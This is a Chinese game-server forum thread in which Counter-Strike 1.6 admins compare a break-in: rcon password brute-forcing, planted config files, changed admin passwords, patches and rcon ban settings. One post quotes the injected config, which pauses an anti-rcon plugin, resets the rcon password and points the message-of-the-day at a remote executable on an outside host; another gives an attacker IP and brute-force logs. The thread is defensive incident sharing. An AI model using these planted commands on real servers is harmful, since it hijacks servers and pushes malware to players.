服主们小心被俄罗斯人盗op密码然后装了后门

awp46

我也遇到了同样的问题. 所有的服务端界面都有下面图这种爆破.不断的换IP和枚聚密码! 用的是5758的服务端!metmod及amxx还有SXE和双协议补丁的版本全都是一致的!

除了比赛服没有被写入楼主所提到的文件外,其他服都被写入了文件.

比赛服加载的插件很少.没有被写入. 其他混战服和死亡服都被写入.但只有2个服写入的文件被执行,OP密码被改.这2个服是租给别人的.余下的自己的4个服被写入,但文件没有被执行,OP也没被改掉.一共是7个服.

大家都列出环境,对比一下是哪个插件有后门.还有是文件是从哪写入的!

cstrike\addons\metamod\exec.cfg

cstrike\addons\amxmodx\configs\maps文件夹

还有motd.txt

除了motd.txt外,其他文件的内容均相同.

内容如下:

1. motdfile motd.txt
   
2. motd_write http://zeal1209.no-ip.org/cstrike.exe
   
3. 
   
4. amxx pause rcon_defencer.amxx
   
5. 
   
6. rcon_password zhenya

复制代码

被写入并执行的插件列表:

1. ; AMX Mod X 插件调用
   
2. ; 不用的插件请在前面加上 ;
   
3. 
   
4. ; 管理员 管理模式类 —— 只能选择一种
   
5. admin.amxx                ; 管理员 管理模式类 (所有的管理员相关的插件都需要此插件)       
   
6. ;admin_sql.amxx        debug        ; 管理员 管理模式类 - SQL 版本 (若使用此模式请注释掉 admin.amxx)
   
7. 
   
8. ; 系统基本类
   
9. admincmd.amxx                ; 基本的管理员控制台管理命令
   
10. adminhelp.amxx                ; 管理员控制台命令帮助信息
    
11. ;adminslots.amxx        debug        ; 管理员预留通道
    
12. multilingual.amxx        ; 多种语言管理
    
13. 
    
14. ; 菜单/目录类
    
15. menufront.amxx                ; 提供管理员菜单的格式
    
16. cmdmenu.amxx                ; 命令菜单（声音播放等许多设置）
    
17. plmenu.amxx                ; 玩家菜单 (踢人, 封禁玩家, 客户端命令等.)
    
18. telemenu.amxx                ; 传送菜单 【可以将某一玩家传送到指定地点】(需要开启娱乐模块)
    
19. mapsmenu.amxx                ; 地图菜单 (投票更换地图, 直接更换地图)
    
20. pluginmenu.amxx                ; 菜单命令/通过调用插件设置游戏参数
    
21. 
    
22. ; 聊天\信息类
    
23. adminchat.amxx                ; 在控制台里聊天的命令
    
24. antiflood.amxx                ; 阻止客户端在服务器上疯狂发信息（呵呵……就是灌水！）
    
25. scrollmsg.amxx                ; 屏幕下方滚动字幕
    
26. imessage.amxx                ; 屏幕中央彩色字体
    
27. adminvote.amxx                ; 投票菜单
    
28. admin_in_op_vip.amxx    ; 显示在线OP和VIP
    
29. admin_godmode.amxx      ;
    
30. admin_heal.amxx         ;
    
31. admin_fire              ;
    
32. 
    
33. ; 地图类
    
34. nextmap.amxx                ; 显示下一张地图的插件
    
35. ;mapchooser.amxx                ; 在下一张地图开始前自动发起投票地图决定下一张地图的插件
    
36. timeleft.amxx                ; 显示当前地图剩余时间的插件
    
37. 
    
38. ; 配置类
    
39. pausecfg.amxx                ; 通过菜单来暂停/恢复插件的使用 【管理功能】
    
40. statscfg.amxx                ; 通过菜单来设置管理数据统计插件【管理功能】
    
41. 
    
42. 
    
43. ; 允许使用 AMX Mod 插件
    
44. ;amxmod_compat.amxx        ; AMX Mod 向后兼容层
    
45. 
    
46. ; 反恐精英类
    
47. restmenu.amxx                ; 禁用武器功能
    
48. csstats.amxx                ; csstats 排名
    
49. statsx.amxx                ; 在人物死亡和一个回合结束的时候显示当前的统计信息 (需要开启 CSX 模块!)
    
50. miscstats.amxx                ; 为反恐精英收集各种事件的信息。
    
51. stats_logging.amxx        ; 武器数据统计记录 (需要开启 CSX 模块!)
    
52. 
    
53. ; 自定义插件 - 第三方插件请加在下面
    
54. ; 添加方法：
    
55. ; 请将第三方插件的名字带上后缀名加在下面。例如：123456.amxx
    
56. cnname.amxx                ;中文名
    
57. ;addmaster.amxx
    
58. ;zfMenu.amxx
    
59. 
    
60. ;zf168-27015.amxx
    
61. ;zf168-27016.amxx
    
62. zf168-27017-1.amxx
    
63. ;zf168-27018.amxx
    
64. ;zf168-27019.amxx
    
65. ;zf168-27020.amxx
    
66. 
    
67. AFK_C4.amxx                 ; C4携带者不动掉出炸药包
    
68. First_Shot_Reward.amxx        ; 杀敌前三奖励
    
69. flashfix.amxx                ; 闪光BUG修复
    
70. hpk.amxx                ; 高ping玩家自动踢出
    
71. ;nosxeta.amxx                ; NOSXE不能使用AWP
    
72. say_menu.amxx                ; 按Y键后输入menu可以打开管理员菜单或玩家菜单
    
73. votemenu.amxx                ; 投票踢出玩家和投票封禁玩家
    
74. Map_Spawns_Editor.amxx        ;地图出生点位
    
75. ;team_objectives.amxx        ;任务失败处罚
    
76. MONEY16000.amxx
    
77. sxei_plus.amxx
    
78. 
    

复制代码

下面是被写入,但没有被执行的插件列表:

1. ; AMX Mod X 插件调用
   
2. ; 不用的插件请在前面加上 ;
   
3. 
   
4. ; 管理员 管理模式类 —— 只能选择一种
   
5. ;admin.amxx                ; 管理员 管理模式类 (所有的管理员相关的插件都需要此插件)       
   
6. admin_sql.amxx        debug        ; 管理员 管理模式类 - SQL 版本 (若使用此模式请注释掉 admin.amxx)
   
7. 
   
8. ; 系统基本类
   
9. admincmd.amxx                ; 基本的管理员控制台管理命令
   
10. adminhelp.amxx                ; 管理员控制台命令帮助信息
    
11. ;adminslots.amxx        debug        ; 管理员预留通道
    
12. multilingual.amxx        ; 多种语言管理
    
13. 
    
14. ; 菜单/目录类
    
15. menufront.amxx                ; 提供管理员菜单的格式
    
16. cmdmenu.amxx                ; 命令菜单（声音播放等许多设置）
    
17. plmenu.amxx                ; 玩家菜单 (踢人, 封禁玩家, 客户端命令等.)
    
18. telemenu.amxx                ; 传送菜单 【可以将某一玩家传送到指定地点】(需要开启娱乐模块)
    
19. mapsmenu.amxx                ; 地图菜单 (投票更换地图, 直接更换地图)
    
20. pluginmenu.amxx                ; 菜单命令/通过调用插件设置游戏参数
    
21. 
    
22. ; 聊天\信息类
    
23. adminchat.amxx                ; 在控制台里聊天的命令
    
24. antiflood.amxx                ; 阻止客户端在服务器上疯狂发信息（呵呵……就是灌水！）
    
25. scrollmsg.amxx                ; 屏幕下方滚动字幕
    
26. imessage.amxx                ; 屏幕中央彩色字体
    
27. adminvote.amxx                ; 投票菜单
    
28. admin_in_op_vip.amxx    ; 显示在线OP和VIP
    
29. 
    
30. 
    
31. ; 地图类
    
32. nextmap.amxx                ; 显示下一张地图的插件
    
33. mapchooser.amxx                ; 在下一张地图开始前自动发起投票地图决定下一张地图的插件
    
34. timeleft.amxx                ; 显示当前地图剩余时间的插件
    
35. 
    
36. ; 配置类
    
37. pausecfg.amxx                ; 通过菜单来暂停/恢复插件的使用 【管理功能】
    
38. statscfg.amxx                ; 通过菜单来设置管理数据统计插件【管理功能】
    
39. 
    
40. 
    
41. ; 允许使用 AMX Mod 插件
    
42. ;amxmod_compat.amxx        ; AMX Mod 向后兼容层
    
43. 
    
44. ; 反恐精英类
    
45. restmenu.amxx                ; 禁用武器功能
    
46. csstats.amxx                ; csstats 排名
    
47. statsx.amxx                ; 在人物死亡和一个回合结束的时候显示当前的统计信息 (需要开启 CSX 模块!)
    
48. miscstats.amxx                ; 为反恐精英收集各种事件的信息。
    
49. stats_logging.amxx        ; 武器数据统计记录 (需要开启 CSX 模块!)
    
50. 
    
51. ; 自定义插件 - 第三方插件请加在下面
    
52. ; 添加方法：
    
53. ; 请将第三方插件的名字带上后缀名加在下面。例如：123456.amxx
    
54. cnname.amxx                ;中文名
    
55. ;addmaster.amxx
    
56. ;zfMenu.amxx
    
57. 
    
58. 
    
59. ;zf168-27015.amxx
    
60. ;zf168-27016.amxx
    
61. ;zf168-27017.amxx
    
62. zf168-27018-1.amxx
    
63. ;zf168-27019-1.amxx
    
64. ;zf168-27020.amxx
    
65. 
    
66. AFK_C4.amxx                 ; C4携带者不动掉出炸药包
    
67. First_Shot_Reward.amxx        ; 杀敌前三奖励
    
68. flashfix.amxx                ; 闪光BUG修复
    
69. hpk.amxx                ; 高ping玩家自动踢出
    
70. ;nosxeta.amxx                ; NOSXE不能使用AWP
    
71. say_menu.amxx                ; 按Y键后输入menu可以打开管理员菜单或玩家菜单
    
72. votemenu.amxx                ; 投票踢出玩家和投票封禁玩家
    
73. Map_Spawns_Editor.amxx        ;地图出生点位
    
74. team_objectives.amxx        ;任务失败处罚
    
75. MONEY16000.amxx
    
76. sxei_plus.amxx
    

复制代码

比赛服,没有被写入的插件列表

1. ; AMX Mod X 插件调用
   
2. ; 不用的插件请在前面加上 ;
   
3. 
   
4. ; 管理员 管理模式类 —— 只能选择一种
   
5. admin.amxx                ; 管理员 管理模式类 (所有的管理员相关的插件都需要此插件)       
   
6. ;admin_sql.amxx        debug        ; 管理员 管理模式类 - SQL 版本 (若使用此模式请注释掉 admin.amxx)
   
7. 
   
8. ; 系统基本类
   
9. admincmd.amxx                ; 基本的管理员控制台管理命令
   
10. ;adminhelp.amxx                ; 管理员控制台命令帮助信息
    
11. ;adminslots.amxx        debug        ; 管理员预留通道
    
12. ;multilingual.amxx        ; 多种语言管理
    
13. 
    
14. ; 菜单/目录类
    
15. menufront.amxx                ; 提供管理员菜单的格式
    
16. cmdmenu.amxx                ; 命令菜单（声音播放等许多设置）
    
17. plmenu.amxx                ; 玩家菜单 (踢人, 封禁玩家, 客户端命令等.)
    
18. ;telemenu.amxx                ; 传送菜单 【可以将某一玩家传送到指定地点】(需要开启娱乐模块)
    
19. mapsmenu.amxx                ; 地图菜单 (投票更换地图, 直接更换地图)
    
20. ;pluginmenu.amxx                ; 菜单命令/通过调用插件设置游戏参数
    
21. 
    
22. ; 聊天\信息类
    
23. adminchat.amxx                ; 在控制台里聊天的命令
    
24. antiflood.amxx                ; 阻止客户端在服务器上疯狂发信息（呵呵……就是灌水！）
    
25. ;scrollmsg.amxx                ; 屏幕下方滚动字幕
    
26. ;imessage.amxx                ; 屏幕中央彩色字体
    
27. ;adminvote.amxx                ; 投票菜单
    
28. ;admin_in_op_vip.amxx    ; 显示在线OP和VIP
    
29. 
    
30. 
    
31. ; 地图类
    
32. ;nextmap.amxx                ; 显示下一张地图的插件
    
33. ;mapchooser.amxx        ; 在下一张地图开始前自动发起投票地图决定下一张地图的插件
    
34. ;timeleft.amxx                ; 显示当前地图剩余时间的插件
    
35. 
    
36. ; 配置类
    
37. pausecfg.amxx                ; 通过菜单来暂停/恢复插件的使用 【管理功能】
    
38. ;statscfg.amxx                ; 通过菜单来设置管理数据统计插件【管理功能】
    
39. 
    
40. 
    
41. ; 允许使用 AMX Mod 插件
    
42. ;amxmod_compat.amxx        ; AMX Mod 向后兼容层
    
43. 
    
44. ; 反恐精英类
    
45. restmenu.amxx                ; 禁用武器功能
    
46. ;csstats.amxx                ; csstats 排名
    
47. ;statsx.amxx                ; 在人物死亡和一个回合结束的时候显示当前的统计信息 (需要开启 CSX 模块!)
    
48. ;miscstats.amxx                ; 为反恐精英收集各种事件的信息。
    
49. ;stats_logging.amxx        ; 武器数据统计记录 (需要开启 CSX 模块!)
    
50. 
    
51. ; 自定义插件 - 第三方插件请加在下面
    
52. ; 添加方法：
    
53. ; 请将第三方插件的名字带上后缀名加在下面。例如：123456.amxx
    
54. cnname.amxx                ;中文名
    
55. flashfix.amxx                ; 闪光BUG修复
    
56. say_menu.amxx                ; 按Y键后输入menu可以打开管理员菜单或玩家菜单
    
57. 
    
58. 
    
59. amx_match_deluxe.amxx
    
60. amx_money_r3.amxx
    
61. teamtalk.amxx

复制代码

c12g34k56

老毛子 这么坏

76233386

:o这。。。。。。好吧  关注下。

刘半仙【仙】

暴力破解的吧！

jixiwb

现在能加插件了，sound.amxx 从maps文件夹中的plguinsxx.ini来启用的

jixiwb

这插件会篡改地服玩家的userconfig:@

zhouth

我的服务器也遭到了这个入侵 求解决方案

zhouth

是不是METAMOD 有问题  昨天 没开AMX插件  居然 也植入MAP文件夹了。 有高手出台解决方法么 ？

wangningyu

测试过啦，5956才会这样，而5758就不会了，在connect就提示fake client拦截了

另外忘记说了，这个工具GG一下就找得到，跟俄佬没多大关系~~

h.t.t.p://=====31.====200.====239.====201

(自己去掉等于号吧！)

---

用GOOGLE翻译成英文，用百度再把英文翻译成中文，才大致了解了，很黄很暴力~~

如果你在这里，那就意味着你不坐在地上，试图解决你在公告的污秽。值得称赞的。此服务器将不工作，也许你将能够洪水也。然而，如果你试图洪水（DDoS）这个页面，你不去，你就越有可能只是禁止系统。所以不要被愚弄。

联系：ICQ的646459042，尤金

sunsigang

这个在几个礼拜前，大概抓到几W个俄罗斯和乌克兰还有美国的IP来攻击我的服，
我的服排名世界400左右，后来有一天进我服的玩家客户端被植入自动进服cfg。
在打开CS客户端的同时直接转到俄罗斯的3个僵尸服，
经过一个多星期的研究，写下研究结果，分析给大家，
5758服务端的swds.dll有上传的漏洞，具体利用方法不便透露，
这个上传会在config/maps目录下多一些配置文件和xxxx.amxx等



打上最新的swds.dll的SP2补丁即可
附件包括Linux和Windows的补丁
（附件较大上传不方便）
我已放到我的论坛上了
没有点通币的可以访问
http://bbs.51537.com/read-htm-tid-7810.html

另外5956和5758被hl_brute多次、大量、洪水般的嗅探服务器的OP密码可以使用
anti_hlbrute.amxx 最新版本是1.2版

如果5956被XBrute多次、大量、洪水般的嗅探服务器OP密码的话，在DP没有更新的情况下，还是使用5758服务端打上补丁吧，加上HL_BRUTE1.2基本能安详许多

L 06/29/2013 - 02:54:44: Bad Rcon: "rcon 1323454336 "06012002" echo XBrute by ZeaL" from "109.110.58.86:27006"
L 06/29/2013 - 02:54:55: Bad Rcon: "rcon 1064897828 "40102" echo XBrute by ZeaL" from "95.81.33.180:27005"
L 06/29/2013 - 02:54:56: Bad Rcon: "rcon 293450848 "412002" echo XBrute by ZeaL" from "37.212.207.80:27005"
L 06/29/2013 - 02:55:01: Bad Rcon: "rcon 165748071 "04012" echo XBrute by ZeaL" from "5.166.185.101:27005"
L 06/29/2013 - 02:55:07: Bad Rcon: "rcon 2294079100 "4012" echo XBrute by ZeaL" from "95.58.51.67:21851"
L 06/29/2013 - 02:55:10: Bad Rcon: "rcon 89383525 "0412" echo XBrute by ZeaL" from "92.47.2.200:10523"
L 06/29/2013 - 02:55:13: Bad Rcon: "rcon 2057423911 "412" echo XBrute by ZeaL" from "176.8.108.80:27006"
L 06/29/2013 - 02:55:26: Bad Rcon: "rcon 286229498 "25122001" echo XBrute by ZeaL" from "195.162.81.150:29266"
L 06/29/2013 - 02:55:28: Bad Rcon: "rcon 1150118152 "05012002" echo XBrute by ZeaL" from "188.134.44.31:27005"
L 06/29/2013 - 02:55:29: Bad Rcon: "rcon 960333148 "25121" echo XBrute by ZeaL" from "89.45.103.22:27006"
L 06/29/2013 - 02:55:35: Bad Rcon: "rcon 713236419 "0512002" echo XBrute by ZeaL" from "37.229.67.105:27005"
L 06/29/2013 - 02:55:56: Bad Rcon: "rcon 2054130206 "05012" echo XBrute by ZeaL" from "95.86.231.3:27005"
L 06/29/2013 - 02:56:03: Bad Rcon: "rcon 835981102 "0512" echo XBrute by ZeaL" from "178.234.234.113:28729"
L 06/29/2013 - 02:56:11: Bad Rcon: "rcon 33187532 "512" echo XBrute by ZeaL" from "109.120.36.5:27005"
L 06/29/2013 - 02:56:14: Bad Rcon: "rcon 1578989710 "6012002" echo XBrute by ZeaL" from "91.211.215.162:27005"
L 06/29/2013 - 02:56:15: Bad Rcon: "rcon 1943081664 "0612002" echo XBrute by ZeaL" from "188.0.148.165:27005"

这个XBrute的5956在没有升级DP的情况下是暂时没有办法和谐的。
附
SERVER.CFG里的配置，
sv_rcon_minfailures 1
// 允许输入OP密码 错误次数下限
// 达到下限则封禁对方的IP

sv_rcon_maxfailures 1
// 允许输入OP密码 错误次数上限
// 达到上限则封禁对方的IP

sv_rcon_minfailuretime 604800
// seconds for next try （1-3600）

sv_rcon_banpenalty 0
// 封禁的时限 单位 分钟
// 0=永久
对它无效

最新服务端漏洞俄罗斯链接
http://c-s.net.ua/forum/topic37395.html